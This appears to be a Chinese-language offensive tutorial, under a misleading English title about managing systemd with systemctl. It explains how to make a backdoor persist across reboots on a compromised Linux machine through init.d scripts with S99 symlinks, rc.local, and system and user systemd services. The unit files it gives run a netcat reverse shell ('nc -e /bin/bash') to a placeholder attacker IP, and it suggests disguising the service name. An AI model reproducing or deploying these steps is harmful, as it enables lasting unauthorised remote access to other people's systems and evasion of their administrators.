How to Manage ‘Systemd’ Services and Units Using ‘Systemctl’ in Linux
如果您可以等待机器重新启动,那么后门可以作为系统服务添加,并在启动时启动。这需要对机器进行root访问。
(旧版) System V 方法
- 在
/etc/init.d
中创建一个带有后门的脚本(例如上述的NetCat反向shell)。确保脚本在后台启动后门命令! - 通过运行
runlevel
(通常为3)检查当前运行级别。 - 将指向您的脚本的符号链接S99backdoor添加到/etc/rc#.d目录中,其中#是运行级别。“backdoor”可以替换为更无害的字符串,名称重要部分是S99,它告诉操作系统在引导过程结束时启动(S)该脚本(99)。
(新版) systemd 方法
在 /etc/systemd/system/backdoor.service
创建一个服务描述
[Unit]
Description=Very important backdoor.
[Service]
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash <ATTACKER_IP> <PORT> 2>/dev/null
[Install]
WantedBy=multi-user.target
然后使服务在重启时运行
systemctl enable backdoor
rc.local
类似的结果也可以通过向/etc/rc.local添加后门命令来实现。请确保在后台模式下启动这些命令,因为启动过程会等待rc.local的执行完成!
User Service
这个选项类似于在 ~/.bashrc 中添加命令,但使用 systemd “user”服务。在~/.config/systemd/user/backdoor.service
创建以下服务描述符文件:
[Unit]
Description=Very important backdoor.
[Service]
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash <ATTACKER_IP> <PORT> 2>/dev/null
[Install]
WantedBy=default.target
启用
systemctl --user enable backdoor